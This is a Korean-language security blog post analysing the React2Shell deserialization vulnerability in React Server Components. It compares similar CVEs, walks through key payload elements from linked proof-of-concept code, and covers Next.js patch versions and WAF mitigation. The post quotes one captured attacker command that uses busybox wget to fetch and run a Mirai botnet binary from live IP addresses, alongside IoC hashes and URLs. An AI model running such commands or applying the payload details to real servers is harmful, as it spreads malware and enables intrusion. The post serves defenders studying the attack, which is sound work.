React2Shell 취약점의 특성을 알아보자
고남현 @gnh1201@hackers.pub
React2Shell 취약점이란?
외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.
이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.
특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.
특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.
자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.
역직렬화(Deserialization) 과정은 왜 위험한가?
실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.
- 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
- 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
- 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.
이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.
알려진 역직렬화 취약점 사례 (언어 및 생태계별)
역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.
| 언어 / 생태계 | 역직렬화 취약점 사례 | 주요 공통점 |
|---|---|---|
| Java | CVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind) | 외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생 |
| .NET (C# / VB.NET) | CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase) | BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행 |
| Python | CVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS) | pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거 |
| PHP (WP) | CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress) | unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생 |
| Ruby | CVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal) | YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행 |
| JavaScript / Node.js | CVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript) | 구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석 |
| Go | CVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul) | Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS |
| Rust | GHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687) | 메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험 |
| Kotlin / Android | CVE-2024-43080 (Android) / CVE-2024-10382 (Android Car) | Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS |
| C / C++ | CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf) | Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족 |
| Swift / iOS | CVE-2021-32742 (Vapor) | 외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출 |
| 산업용 (ICS/OT) | CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC) | 프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능 |
역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.
이제 사전 정보 없이도 공격 특성을 읽을 수 있다.
역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.
여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
- https://github.com/msanft/CVE-2025-55182/blob/main/poc.py
여기서 알 수 있는 정보는 다음과 같다.
- 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
- 생성자 수준의 키워드 (
__proto__,constructor)를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다. then키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.- 페이로드의
value필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서JSON.parse메소드의 호출을 예상할 수 있다. - 공격 코드로 보이는
_response._prefix의 주입은then키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다. - 결국 JSON 역직렬화 과정이 일어나면서,
then속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은{"then": "$Bx"}라는 것을 알 수 있다.$Bx를 처리하는 과정 중 (또는$Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다. - 공격 절차에 포함되는
Next-Action헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.
공격자는 이 취약점을 이용해서 뭘하나?
Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.
(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
cd /dev; \
busybox wget http://31.56.27.76/n2/x86; \
chmod 777 x86; \
./x86 reactOnMynuts)
이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.
그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.
- https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)
(그래 너 나쁜거 알았으니 그만 알아보자)
관련 IoC 는 다음과 같다.
3ba4d5e0cf0557f03ee5a97a2de56511(MD5)858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb(SHA256)http://193.34.213.150/nuts/bolts(URL)http://31.56.27.76/n2/x86(URL)
범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.
추가 분석은 아래 링크에서 확인할 수 있다.
- https://www.mbsd.jp/research/20251211/react2shell/
- https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home
이 공격을 어떻게 완화해야할까?
버전 업데이트로 해결하기
Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.
| Vulnerable version | Patched release |
|---|---|
| Next.js 15.0.x | 15.0.5 |
| Next.js 15.1.x | 15.1.9 |
| Next.js 15.2.x | 15.2.6 |
| Next.js 15.3.x | 15.3.6 |
| Next.js 15.4.x | 15.4.8 |
| Next.js 15.5.x | 15.5.7 |
| Next.js 16.0.x | 16.0.10 |
| Next.js 14 canaries after 14.3.0-canary.76 | Downgrade to 14.3.0-canary.76 (not vulnerable) |
| Next.js 15 canaries before 15.6.0-canary.58 | 15.6.0-canary.58 |
| Next.js 16 canaries before 16.1.0-canary.12 | 16.1.0-canary.12 and after |
혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.
방화벽(WAF 등) 규칙의 개선으로 완화하기
Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.